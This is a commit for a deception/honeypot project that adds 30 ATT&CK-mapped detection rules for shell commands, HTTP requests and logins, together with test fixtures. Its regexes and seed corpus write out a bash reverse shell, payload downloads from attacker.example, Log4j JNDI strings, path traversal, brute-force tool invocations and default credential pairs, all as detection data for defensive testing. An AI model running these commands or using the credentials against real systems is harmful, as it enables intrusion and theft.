feat(ttp): E.3.8 R0001-R0030 command cohort
30 YAMLs for the shell/command rule cohort per Appendix B (rules/ttp/). Splits into engine-active (R0007-R0029, regex on command_text / raw_url / user_agent) and lifter-bound (R0001-R0006, R0030 — the v0 RuleEngine cannot count auth attempts, do identity rollups, or parse fingerprint blobs; the BehavioralLifter / IdentityLifter / CredentialLifter consume them by rule_id at E.3.9 / E.3.13). test_command_rules.py asserts: - every R000N has a YAML that compiles - lifter-bound rules NEVER fire from the v0 engine (regression guard against a YAML drifting into a regex match.spec) - engine-active rules meet their Appendix-C precision target against the seed corpus (≥0.95 high-conf, ≥0.80 medium) Conftest fixes: precision_engine moved to module-scope so module- scope precomputed dispatch fixture (fired_by_label) can request it; _RULES_DIR path bumped from parents[2] to parents[3] so the loader resolves the project root regardless of pytest cwd; make_event synthesizes attacker_uuid so TTPTag's anchor invariant is satisfied. Seed corpus broadened: positive examples for every regex rule plus 6 negative examples across innocuous shell verbs (ls, echo, cd, ps, df, free) so FPs surface in precision rather than passing vacuously.
This commit is contained in:
20
rules/ttp/R0001.yaml
Normal file
20
rules/ttp/R0001.yaml
Normal file
@@ -0,0 +1,20 @@
|
||||
rule_id: R0001
|
||||
rule_version: 1
|
||||
name: generic_auth_brute
|
||||
description: |
|
||||
Repeated failed auth across services/accounts. Cross-event;
|
||||
emitted by the BehavioralLifter (E.3.9) — v0 RuleEngine cannot
|
||||
count.
|
||||
applies_to:
|
||||
- auth_attempt
|
||||
match:
|
||||
kind: lifter:auth_brute_generic
|
||||
fail_threshold: 5
|
||||
window_minutes: 5
|
||||
emits:
|
||||
- tactic: TA0006
|
||||
technique_id: T1110
|
||||
confidence: 0.85
|
||||
evidence_fields:
|
||||
- fail_count
|
||||
- service
|
||||
20
rules/ttp/R0002.yaml
Normal file
20
rules/ttp/R0002.yaml
Normal file
@@ -0,0 +1,20 @@
|
||||
rule_id: R0002
|
||||
rule_version: 1
|
||||
name: password_guessing
|
||||
description: |
|
||||
Multiple passwords tried against a single account in a window.
|
||||
Cross-event; BehavioralLifter (E.3.9).
|
||||
applies_to:
|
||||
- auth_attempt
|
||||
match:
|
||||
kind: lifter:password_guessing
|
||||
pw_threshold: 5
|
||||
window_minutes: 5
|
||||
emits:
|
||||
- tactic: TA0006
|
||||
technique_id: T1110
|
||||
sub_technique_id: T1110.001
|
||||
confidence: 0.85
|
||||
evidence_fields:
|
||||
- username
|
||||
- password_count
|
||||
19
rules/ttp/R0003.yaml
Normal file
19
rules/ttp/R0003.yaml
Normal file
@@ -0,0 +1,19 @@
|
||||
rule_id: R0003
|
||||
rule_version: 1
|
||||
name: password_spraying
|
||||
description: |
|
||||
Same password tried across many accounts (identity-rollup).
|
||||
IdentityLifter (E.3.13).
|
||||
applies_to:
|
||||
- identity
|
||||
match:
|
||||
kind: lifter:password_spraying
|
||||
account_threshold: 3
|
||||
emits:
|
||||
- tactic: TA0006
|
||||
technique_id: T1110
|
||||
sub_technique_id: T1110.003
|
||||
confidence: 0.9
|
||||
evidence_fields:
|
||||
- shared_password_hash
|
||||
- account_count
|
||||
18
rules/ttp/R0004.yaml
Normal file
18
rules/ttp/R0004.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
rule_id: R0004
|
||||
rule_version: 1
|
||||
name: credential_stuffing
|
||||
description: |
|
||||
Reused credential signal — CredentialLifter (E.3.13) consumes
|
||||
CredentialReuse rows.
|
||||
applies_to:
|
||||
- credential
|
||||
match:
|
||||
kind: lifter:credential_reuse
|
||||
emits:
|
||||
- tactic: TA0006
|
||||
technique_id: T1110
|
||||
sub_technique_id: T1110.004
|
||||
confidence: 0.9
|
||||
evidence_fields:
|
||||
- credential_hash
|
||||
- reuse_count
|
||||
18
rules/ttp/R0005.yaml
Normal file
18
rules/ttp/R0005.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
rule_id: R0005
|
||||
rule_version: 1
|
||||
name: valid_account_use
|
||||
description: |
|
||||
Successful authentication on a previously-brute-forced account.
|
||||
BehavioralLifter (E.3.9).
|
||||
applies_to:
|
||||
- auth_attempt
|
||||
match:
|
||||
kind: lifter:valid_account_use
|
||||
require_prior_brute: true
|
||||
emits:
|
||||
- tactic: TA0001
|
||||
technique_id: T1078
|
||||
confidence: 0.7
|
||||
evidence_fields:
|
||||
- username
|
||||
- service
|
||||
25
rules/ttp/R0006.yaml
Normal file
25
rules/ttp/R0006.yaml
Normal file
@@ -0,0 +1,25 @@
|
||||
rule_id: R0006
|
||||
rule_version: 1
|
||||
name: default_credentials
|
||||
description: |
|
||||
Login attempt with a known default credential pair (root/root,
|
||||
admin/admin, etc.). BehavioralLifter (E.3.9) reads credentials
|
||||
table.
|
||||
applies_to:
|
||||
- auth_attempt
|
||||
match:
|
||||
kind: lifter:default_credentials
|
||||
pairs:
|
||||
- [root, root]
|
||||
- [admin, admin]
|
||||
- [admin, password]
|
||||
- [root, ""]
|
||||
- [pi, raspberry]
|
||||
emits:
|
||||
- tactic: TA0001
|
||||
technique_id: T1078
|
||||
sub_technique_id: T1078.001
|
||||
confidence: 0.9
|
||||
evidence_fields:
|
||||
- username
|
||||
- service
|
||||
24
rules/ttp/R0007.yaml
Normal file
24
rules/ttp/R0007.yaml
Normal file
@@ -0,0 +1,24 @@
|
||||
rule_id: R0007
|
||||
rule_version: 1
|
||||
name: sqlmap_user_agent
|
||||
description: |
|
||||
sqlmap's default User-Agent header. Triggers on the raw URL
|
||||
payload because the v0 engine's http_request default field is
|
||||
raw_url; we override to user_agent. Same matcher catches nikto,
|
||||
nmap-scripts, and other auto-tooling that brands itself in UA.
|
||||
applies_to:
|
||||
- http_request
|
||||
match:
|
||||
field: user_agent
|
||||
pattern: '(?i)\b(sqlmap|nikto|w3af|acunetix|nessus|openvas|wpscan|dirbuster)\b'
|
||||
emits:
|
||||
- tactic: TA0001
|
||||
technique_id: T1190
|
||||
confidence: 0.9
|
||||
- tactic: TA0043
|
||||
technique_id: T1595
|
||||
sub_technique_id: T1595.002
|
||||
confidence: 0.9
|
||||
evidence_fields:
|
||||
- user_agent
|
||||
- raw_url
|
||||
18
rules/ttp/R0008.yaml
Normal file
18
rules/ttp/R0008.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
rule_id: R0008
|
||||
rule_version: 1
|
||||
name: log4j_jndi
|
||||
description: |
|
||||
Log4j JNDI injection — ${jndi:ldap://...} pattern in any header
|
||||
or URL component.
|
||||
applies_to:
|
||||
- http_request
|
||||
match:
|
||||
field: raw_url
|
||||
pattern: '\$\{(?:jndi|\${[^}]*}):(?:ldap|ldaps|rmi|dns|http)s?://'
|
||||
emits:
|
||||
- tactic: TA0001
|
||||
technique_id: T1190
|
||||
confidence: 0.95
|
||||
evidence_fields:
|
||||
- raw_url
|
||||
- headers
|
||||
17
rules/ttp/R0009.yaml
Normal file
17
rules/ttp/R0009.yaml
Normal file
@@ -0,0 +1,17 @@
|
||||
rule_id: R0009
|
||||
rule_version: 1
|
||||
name: path_traversal
|
||||
description: |
|
||||
Classic ../ traversal in URL path or query. Catches both raw and
|
||||
URL-encoded forms (%2e%2e/, %2E%2E%2F).
|
||||
applies_to:
|
||||
- http_request
|
||||
match:
|
||||
field: raw_url
|
||||
pattern: '(?i)(?:\.\./|%2e%2e/|\.\.%2f|%2e%2e%2f){2,}'
|
||||
emits:
|
||||
- tactic: TA0001
|
||||
technique_id: T1190
|
||||
confidence: 0.85
|
||||
evidence_fields:
|
||||
- raw_url
|
||||
19
rules/ttp/R0010.yaml
Normal file
19
rules/ttp/R0010.yaml
Normal file
@@ -0,0 +1,19 @@
|
||||
rule_id: R0010
|
||||
rule_version: 1
|
||||
name: unix_shell_exec
|
||||
description: |
|
||||
Reverse shell or shell-execution patterns: bash -i, /dev/tcp/,
|
||||
nc -e, sh -c with exec primitives. Tight enough to skip plain
|
||||
scripts; the broader T1059 catch is R0011.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '(?i)(?:bash\s+-i|/dev/tcp/|/dev/udp/|nc\s+-e\s|/bin/sh\s+-c\b|/bin/bash\s+-c\b)'
|
||||
emits:
|
||||
- tactic: TA0002
|
||||
technique_id: T1059
|
||||
sub_technique_id: T1059.004
|
||||
confidence: 0.9
|
||||
evidence_fields:
|
||||
- command_text
|
||||
18
rules/ttp/R0011.yaml
Normal file
18
rules/ttp/R0011.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
rule_id: R0011
|
||||
rule_version: 1
|
||||
name: scripting_interpreter_exec
|
||||
description: |
|
||||
Generic command-and-scripting-interpreter signal — python -c,
|
||||
perl -e, ruby -e, node -e, bash -c, php -r. Sub-technique-less
|
||||
T1059 catch-all that complements R0010 (Unix-specific).
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '(?i)\b(python[23]?|perl|ruby|node|php)\s+-[ce]\b|/bin/bash\s+-c\b|/bin/sh\s+-c\b'
|
||||
emits:
|
||||
- tactic: TA0002
|
||||
technique_id: T1059
|
||||
confidence: 0.7
|
||||
evidence_fields:
|
||||
- command_text
|
||||
17
rules/ttp/R0012.yaml
Normal file
17
rules/ttp/R0012.yaml
Normal file
@@ -0,0 +1,17 @@
|
||||
rule_id: R0012
|
||||
rule_version: 1
|
||||
name: ingress_tool_transfer
|
||||
description: |
|
||||
wget/curl/tftp/scp pulling a payload from a remote URL. Anchors
|
||||
on the verb-then-URL shape; bare 'curl' alone won't fire.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '(?i)\b(wget|curl|tftp|scp|ftpget)\s+(?:-\S+\s+)*(?:[^|;\s]+\s+)*https?://|\b(wget|curl)\s+-O\s'
|
||||
emits:
|
||||
- tactic: TA0011
|
||||
technique_id: T1105
|
||||
confidence: 0.85
|
||||
evidence_fields:
|
||||
- command_text
|
||||
17
rules/ttp/R0013.yaml
Normal file
17
rules/ttp/R0013.yaml
Normal file
@@ -0,0 +1,17 @@
|
||||
rule_id: R0013
|
||||
rule_version: 1
|
||||
name: etc_passwd_read
|
||||
description: |
|
||||
cat / less / more / head / tail of /etc/passwd — classic
|
||||
post-foothold discovery primitive.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '\b(cat|less|more|head|tail|nl|grep)\s+(?:[^|;]*\s)?/etc/passwd\b'
|
||||
emits:
|
||||
- tactic: TA0007
|
||||
technique_id: T1083
|
||||
confidence: 0.85
|
||||
evidence_fields:
|
||||
- command_text
|
||||
18
rules/ttp/R0014.yaml
Normal file
18
rules/ttp/R0014.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
rule_id: R0014
|
||||
rule_version: 1
|
||||
name: etc_shadow_read
|
||||
description: |
|
||||
Read of /etc/shadow — credential-dumping primitive, requires
|
||||
root, much higher signal than passwd.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '\b(cat|less|more|head|tail|nl|grep|sudo\s+cat)\s+(?:[^|;]*\s)?/etc/shadow\b'
|
||||
emits:
|
||||
- tactic: TA0006
|
||||
technique_id: T1003
|
||||
sub_technique_id: T1003.008
|
||||
confidence: 0.95
|
||||
evidence_fields:
|
||||
- command_text
|
||||
22
rules/ttp/R0015.yaml
Normal file
22
rules/ttp/R0015.yaml
Normal file
@@ -0,0 +1,22 @@
|
||||
rule_id: R0015
|
||||
rule_version: 1
|
||||
name: suid_search
|
||||
description: |
|
||||
find with -perm -u=s / -4000 / /4000 — explicit SUID-binary
|
||||
hunting for privilege escalation. Two emits: discovery (T1083)
|
||||
and the priv-esc abuse precursor (T1548.001).
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '\bfind\b.*-perm\s+(?:-?u\+?=s|-?4000|/4000|-?2000)'
|
||||
emits:
|
||||
- tactic: TA0007
|
||||
technique_id: T1083
|
||||
confidence: 0.85
|
||||
- tactic: TA0004
|
||||
technique_id: T1548
|
||||
sub_technique_id: T1548.001
|
||||
confidence: 0.95
|
||||
evidence_fields:
|
||||
- command_text
|
||||
18
rules/ttp/R0016.yaml
Normal file
18
rules/ttp/R0016.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
rule_id: R0016
|
||||
rule_version: 1
|
||||
name: recursive_find
|
||||
description: |
|
||||
Generic recursive find rooted at /, /home, /etc, /var, /opt,
|
||||
/root, /tmp — broad file/directory discovery. Lower confidence
|
||||
than R0015 because non-malicious admin sweeps look the same.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '\bfind\s+/(?:home|etc|var|opt|root|tmp|usr)?(?=\s|/|$)'
|
||||
emits:
|
||||
- tactic: TA0007
|
||||
technique_id: T1083
|
||||
confidence: 0.65
|
||||
evidence_fields:
|
||||
- command_text
|
||||
20
rules/ttp/R0017.yaml
Normal file
20
rules/ttp/R0017.yaml
Normal file
@@ -0,0 +1,20 @@
|
||||
rule_id: R0017
|
||||
rule_version: 1
|
||||
name: network_service_scan
|
||||
description: |
|
||||
Scanner invocation: nmap, masscan, zmap, rustscan, unicornscan,
|
||||
hping3 in scan mode, or nc -zv sweeps.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '(?i)\b(nmap|masscan|zmap|rustscan|unicornscan|hping3)\b|\bnc\s+(?:-\w*z\w*|-zv|-vz)\b'
|
||||
emits:
|
||||
- tactic: TA0007
|
||||
technique_id: T1046
|
||||
confidence: 0.9
|
||||
- tactic: TA0043
|
||||
technique_id: T1595
|
||||
confidence: 0.9
|
||||
evidence_fields:
|
||||
- command_text
|
||||
17
rules/ttp/R0018.yaml
Normal file
17
rules/ttp/R0018.yaml
Normal file
@@ -0,0 +1,17 @@
|
||||
rule_id: R0018
|
||||
rule_version: 1
|
||||
name: system_info_discovery
|
||||
description: |
|
||||
uname / lsb_release / hostnamectl / cat /etc/os-release —
|
||||
classic system-information gathering.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '\b(?:uname\s+-\w+|lsb_release(?:\s|$)|hostnamectl(?:\s|$))\b|cat\s+/etc/(?:os-release|issue|debian_version|redhat-release)\b'
|
||||
emits:
|
||||
- tactic: TA0007
|
||||
technique_id: T1082
|
||||
confidence: 0.7
|
||||
evidence_fields:
|
||||
- command_text
|
||||
18
rules/ttp/R0019.yaml
Normal file
18
rules/ttp/R0019.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
rule_id: R0019
|
||||
rule_version: 1
|
||||
name: user_discovery
|
||||
description: |
|
||||
whoami / id / w / who / last / users — current-user / logged-in
|
||||
user enumeration. Word-boundary anchored at start so a substring
|
||||
inside a longer command doesn't trip.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '^(?:\s*sudo\s+)?(?:whoami|id|w|who|users|last)(?:\s|$)'
|
||||
emits:
|
||||
- tactic: TA0007
|
||||
technique_id: T1033
|
||||
confidence: 0.7
|
||||
evidence_fields:
|
||||
- command_text
|
||||
17
rules/ttp/R0020.yaml
Normal file
17
rules/ttp/R0020.yaml
Normal file
@@ -0,0 +1,17 @@
|
||||
rule_id: R0020
|
||||
rule_version: 1
|
||||
name: network_config_discovery
|
||||
description: |
|
||||
ip addr / ifconfig / route / arp / iwconfig — network-interface
|
||||
enumeration.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '\b(?:ip\s+(?:a|addr|link|route|-c\s+addr)|ifconfig(?:\s+-\w+)?|route\s+-\w+|arp\s+-\w+|iwconfig)\b'
|
||||
emits:
|
||||
- tactic: TA0007
|
||||
technique_id: T1016
|
||||
confidence: 0.75
|
||||
evidence_fields:
|
||||
- command_text
|
||||
16
rules/ttp/R0021.yaml
Normal file
16
rules/ttp/R0021.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
rule_id: R0021
|
||||
rule_version: 1
|
||||
name: network_connections_discovery
|
||||
description: |
|
||||
netstat / ss / lsof -i — active connection enumeration.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '\b(?:netstat\s+-\w+|ss\s+-\w+|lsof\s+-i\b)'
|
||||
emits:
|
||||
- tactic: TA0007
|
||||
technique_id: T1049
|
||||
confidence: 0.75
|
||||
evidence_fields:
|
||||
- command_text
|
||||
21
rules/ttp/R0022.yaml
Normal file
21
rules/ttp/R0022.yaml
Normal file
@@ -0,0 +1,21 @@
|
||||
rule_id: R0022
|
||||
rule_version: 1
|
||||
name: ldap_account_discovery
|
||||
description: |
|
||||
ldapsearch / BloodHound CLI / ADExplorer — LDAP-based account
|
||||
and trust enumeration.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '(?i)\b(?:ldapsearch|bloodhound-?python|sharphound|adexplorer)\b'
|
||||
emits:
|
||||
- tactic: TA0007
|
||||
technique_id: T1087
|
||||
sub_technique_id: T1087.002
|
||||
confidence: 0.9
|
||||
- tactic: TA0007
|
||||
technique_id: T1482
|
||||
confidence: 0.85
|
||||
evidence_fields:
|
||||
- command_text
|
||||
16
rules/ttp/R0023.yaml
Normal file
16
rules/ttp/R0023.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
rule_id: R0023
|
||||
rule_version: 1
|
||||
name: smb_share_discovery
|
||||
description: |
|
||||
smbclient -L / enum4linux / nbtscan / rpcclient share-listing.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '(?i)\bsmbclient\s+-L\b|\benum4linux\b|\bnbtscan\b|\brpcclient\b.*\b(?:enumdomusers|netshareenum|querydispinfo)\b'
|
||||
emits:
|
||||
- tactic: TA0007
|
||||
technique_id: T1135
|
||||
confidence: 0.9
|
||||
evidence_fields:
|
||||
- command_text
|
||||
18
rules/ttp/R0024.yaml
Normal file
18
rules/ttp/R0024.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
rule_id: R0024
|
||||
rule_version: 1
|
||||
name: local_account_creation
|
||||
description: |
|
||||
useradd / adduser / direct write to /etc/passwd creating a new
|
||||
local account — persistence primitive.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '\b(?:useradd|adduser)\s+(?:-\S+\s+)*\w+|echo\s+[^\n]*>>\s*/etc/passwd\b'
|
||||
emits:
|
||||
- tactic: TA0003
|
||||
technique_id: T1136
|
||||
sub_technique_id: T1136.001
|
||||
confidence: 0.95
|
||||
evidence_fields:
|
||||
- command_text
|
||||
18
rules/ttp/R0025.yaml
Normal file
18
rules/ttp/R0025.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
rule_id: R0025
|
||||
rule_version: 1
|
||||
name: cron_persistence
|
||||
description: |
|
||||
Cron-based persistence: crontab -e, writes to /etc/cron.* or
|
||||
/var/spool/cron/.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '\bcrontab\s+-e\b|>>?\s*/etc/cron\.\w+/|>>?\s*/var/spool/cron/'
|
||||
emits:
|
||||
- tactic: TA0003
|
||||
technique_id: T1053
|
||||
sub_technique_id: T1053.003
|
||||
confidence: 0.9
|
||||
evidence_fields:
|
||||
- command_text
|
||||
20
rules/ttp/R0026.yaml
Normal file
20
rules/ttp/R0026.yaml
Normal file
@@ -0,0 +1,20 @@
|
||||
rule_id: R0026
|
||||
rule_version: 1
|
||||
name: redis_ssh_key_persistence
|
||||
description: |
|
||||
redis-cli / nc abuse setting CONFIG dir to /root/.ssh +
|
||||
writing an authorized_keys SET. Per-command match; the lifter
|
||||
composes them across a session, but either single command in
|
||||
isolation still scores the technique.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '(?i)\bredis(?:-cli)?\b.*\b(?:config\s+set\s+dir|set\s+\S+\s+["'']?ssh-(?:rsa|ed25519|dss))\b'
|
||||
emits:
|
||||
- tactic: TA0003
|
||||
technique_id: T1098
|
||||
sub_technique_id: T1098.004
|
||||
confidence: 0.9
|
||||
evidence_fields:
|
||||
- command_text
|
||||
19
rules/ttp/R0027.yaml
Normal file
19
rules/ttp/R0027.yaml
Normal file
@@ -0,0 +1,19 @@
|
||||
rule_id: R0027
|
||||
rule_version: 1
|
||||
name: webshell_install
|
||||
description: |
|
||||
Drop a PHP/JSP/ASPX webshell into a webroot via shell redirect
|
||||
or wget/curl-to-file. Conservative — we want the shell pattern
|
||||
AND a webroot path, not just any echo > x.php.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '(?:echo|printf|cat\s*<<\w+|wget\s+-O|curl\s+-o)\s+[^\n;|]*(?:<\?php|<%@|system\(|eval\(|exec\()[^\n;|]*>\s*[^\n;|]*\.(?:php|jsp|aspx|jspx|phtml)\b|>\s*/var/www/[^\s;|]+\.(?:php|jsp|aspx|jspx)\b'
|
||||
emits:
|
||||
- tactic: TA0003
|
||||
technique_id: T1505
|
||||
sub_technique_id: T1505.003
|
||||
confidence: 0.9
|
||||
evidence_fields:
|
||||
- command_text
|
||||
18
rules/ttp/R0028.yaml
Normal file
18
rules/ttp/R0028.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
rule_id: R0028
|
||||
rule_version: 1
|
||||
name: clear_command_history
|
||||
description: |
|
||||
history -c / -cw, unset HISTFILE, redirect /dev/null over
|
||||
~/.bash_history.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '(?i)\bhistory\s+-c\w*\b|\bunset\s+HISTFILE\b|>\s*~?/?\.bash_history\b|export\s+HISTFILE=/dev/null'
|
||||
emits:
|
||||
- tactic: TA0005
|
||||
technique_id: T1070
|
||||
sub_technique_id: T1070.003
|
||||
confidence: 0.9
|
||||
evidence_fields:
|
||||
- command_text
|
||||
18
rules/ttp/R0029.yaml
Normal file
18
rules/ttp/R0029.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
rule_id: R0029
|
||||
rule_version: 1
|
||||
name: sudo_abuse
|
||||
description: |
|
||||
sudo -l (enumerate available privileged commands) or
|
||||
sudo su / sudo -i / sudo -s for an interactive privilege escalation.
|
||||
applies_to:
|
||||
- command
|
||||
match:
|
||||
field: command_text
|
||||
pattern: '^(?:\s*)sudo\s+(?:-l\b|-i\b|-s\b|su\b)'
|
||||
emits:
|
||||
- tactic: TA0004
|
||||
technique_id: T1548
|
||||
sub_technique_id: T1548.003
|
||||
confidence: 0.75
|
||||
evidence_fields:
|
||||
- command_text
|
||||
27
rules/ttp/R0030.yaml
Normal file
27
rules/ttp/R0030.yaml
Normal file
@@ -0,0 +1,27 @@
|
||||
rule_id: R0030
|
||||
rule_version: 1
|
||||
name: jarm_hassh_c2_fingerprint
|
||||
description: |
|
||||
JARM/HASSH fingerprint match against the known-C2 catalogue.
|
||||
Sniffer-side; populated as an enrichment, then the lifter
|
||||
emits this rule's tag. v0 RuleEngine cannot interpret the
|
||||
fingerprint blob.
|
||||
applies_to:
|
||||
- session
|
||||
match:
|
||||
kind: lifter:c2_fingerprint
|
||||
catalogues:
|
||||
- jarm
|
||||
- hassh
|
||||
emits:
|
||||
- tactic: TA0011
|
||||
technique_id: T1071
|
||||
confidence: 0.85
|
||||
- tactic: TA0011
|
||||
technique_id: T1071
|
||||
sub_technique_id: T1071.001
|
||||
confidence: 0.9
|
||||
evidence_fields:
|
||||
- jarm
|
||||
- hassh
|
||||
- matched_framework
|
||||
@@ -32,7 +32,7 @@ from decnet.ttp.impl.rule_engine import CompiledRule, RuleEngine
|
||||
from decnet.ttp.store.base import RuleState
|
||||
from decnet.ttp.store.impl.filesystem import _parse_and_compile
|
||||
|
||||
_RULES_DIR = Path(__file__).resolve().parents[2] / "rules" / "ttp"
|
||||
_RULES_DIR = Path(__file__).resolve().parents[3] / "rules" / "ttp"
|
||||
_CORPUS_DIR = Path(__file__).resolve().parent / "corpus"
|
||||
|
||||
|
||||
@@ -102,7 +102,7 @@ def compiled_rules() -> list[CompiledRule]:
|
||||
return _load_compiled_rules()
|
||||
|
||||
|
||||
@pytest_asyncio.fixture
|
||||
@pytest_asyncio.fixture(scope="module")
|
||||
async def precision_engine(
|
||||
compiled_rules: list[CompiledRule],
|
||||
) -> RuleEngine:
|
||||
@@ -167,11 +167,19 @@ def corpus_loader() -> Callable[[str], list[CorpusRow]]:
|
||||
|
||||
|
||||
def make_event(row: CorpusRow, source_id: str = "src") -> TaggerEvent:
|
||||
"""Materialise a :class:`CorpusRow` into a :class:`TaggerEvent`."""
|
||||
"""Materialise a :class:`CorpusRow` into a :class:`TaggerEvent`.
|
||||
|
||||
Sets a deterministic ``attacker_uuid`` derived from the row label so
|
||||
the downstream ``TTPTag`` constructor's "at least one of
|
||||
attacker_uuid/identity_uuid" invariant is satisfied. The corpus
|
||||
rows themselves don't carry attacker identity — they're per-payload
|
||||
fixtures, not per-attacker — so this synthesis is purely a test
|
||||
plumbing concern.
|
||||
"""
|
||||
return TaggerEvent(
|
||||
source_kind=row.source_kind,
|
||||
source_id=source_id,
|
||||
attacker_uuid=None,
|
||||
attacker_uuid=f"corpus-{row.label}",
|
||||
identity_uuid=None,
|
||||
session_id=None,
|
||||
decky_id=None,
|
||||
|
||||
@@ -1,41 +1,60 @@
|
||||
{"source_kind": "command", "payload": {"command_text": "hydra -L users.txt -P pass.txt ssh://10.0.0.1"}, "expected_rule_ids": ["R0001"], "label": "hydra_ssh_brute"}
|
||||
{"source_kind": "command", "payload": {"command_text": "medusa -h 10.0.0.1 -u root -P passlist -M ssh"}, "expected_rule_ids": ["R0001"], "label": "medusa_ssh_brute"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ncrack -p 22 --user root -P rockyou.txt 10.0.0.1"}, "expected_rule_ids": ["R0001"], "label": "ncrack_ssh"}
|
||||
{"source_kind": "command", "payload": {"command_text": "sqlmap -u http://victim/x?id=1 --dbs"}, "expected_rule_ids": ["R0007"], "label": "sqlmap_invocation"}
|
||||
{"source_kind": "command", "payload": {"command_text": "curl -H 'X-Api-Version: ${jndi:ldap://x.evil/a}' http://target"}, "expected_rule_ids": ["R0008", "R0012"], "label": "log4j_jndi_curl"}
|
||||
{"source_kind": "command", "payload": {"command_text": "curl http://target/page?file=../../../../etc/passwd"}, "expected_rule_ids": ["R0009", "R0013", "R0012"], "label": "path_traversal_passwd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "/bin/sh -c 'id'"}, "expected_rule_ids": ["R0010", "R0011", "R0019"], "label": "sh_dash_c_id"}
|
||||
{"source_kind": "command", "payload": {"command_text": "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"}, "expected_rule_ids": ["R0010", "R0011"], "label": "bash_revshell_devtcp"}
|
||||
{"source_kind": "auth_attempt", "payload": {"username": "root", "service": "ssh", "result": "fail", "tool": "hydra"}, "expected_rule_ids": ["R0001"], "label": "hydra_ssh_brute"}
|
||||
{"source_kind": "auth_attempt", "payload": {"username": "root", "service": "ssh", "result": "fail", "tool": "medusa"}, "expected_rule_ids": ["R0001"], "label": "medusa_ssh_brute"}
|
||||
{"source_kind": "auth_attempt", "payload": {"username": "root", "service": "ssh", "result": "fail", "tool": "ncrack"}, "expected_rule_ids": ["R0001"], "label": "ncrack_ssh"}
|
||||
{"source_kind": "http_request", "payload": {"raw_url": "/index.php?id=1", "user_agent": "sqlmap/1.7.0#stable (https://sqlmap.org)"}, "expected_rule_ids": ["R0007"], "label": "sqlmap_user_agent"}
|
||||
{"source_kind": "http_request", "payload": {"raw_url": "/", "user_agent": "Mozilla/5.0 nikto/2.5.0"}, "expected_rule_ids": ["R0007"], "label": "nikto_user_agent"}
|
||||
{"source_kind": "http_request", "payload": {"raw_url": "/api?x=${jndi:ldap://evil.example/a}", "user_agent": "curl/7.x"}, "expected_rule_ids": ["R0008"], "label": "log4j_jndi_in_url"}
|
||||
{"source_kind": "http_request", "payload": {"raw_url": "/page?file=../../../../etc/passwd", "user_agent": "curl/7.x"}, "expected_rule_ids": ["R0009"], "label": "http_path_traversal"}
|
||||
{"source_kind": "http_request", "payload": {"raw_url": "/", "user_agent": "Mozilla/5.0"}, "expected_rule_ids": [], "label": "negative_http_normal"}
|
||||
{"source_kind": "command", "payload": {"command_text": "/bin/sh -c 'id'"}, "expected_rule_ids": ["R0010", "R0011"], "label": "sh_dash_c_id"}
|
||||
{"source_kind": "command", "payload": {"command_text": "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"}, "expected_rule_ids": ["R0010"], "label": "bash_revshell_devtcp"}
|
||||
{"source_kind": "command", "payload": {"command_text": "python3 -c 'import os; os.system(\"id\")'"}, "expected_rule_ids": ["R0011"], "label": "python_oneliner"}
|
||||
{"source_kind": "command", "payload": {"command_text": "wget http://attacker/payload.sh -O /tmp/p.sh"}, "expected_rule_ids": ["R0012"], "label": "wget_http_payload"}
|
||||
{"source_kind": "command", "payload": {"command_text": "curl -O http://attacker/loader.bin"}, "expected_rule_ids": ["R0012"], "label": "curl_http_loader"}
|
||||
{"source_kind": "command", "payload": {"command_text": "wget http://attacker.example/payload.sh -O /tmp/p.sh"}, "expected_rule_ids": ["R0012"], "label": "wget_http_payload"}
|
||||
{"source_kind": "command", "payload": {"command_text": "curl -O http://attacker.example/loader.bin"}, "expected_rule_ids": ["R0012"], "label": "curl_http_loader"}
|
||||
{"source_kind": "command", "payload": {"command_text": "cat /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "cat_etc_passwd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "less /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "less_etc_passwd"}
|
||||
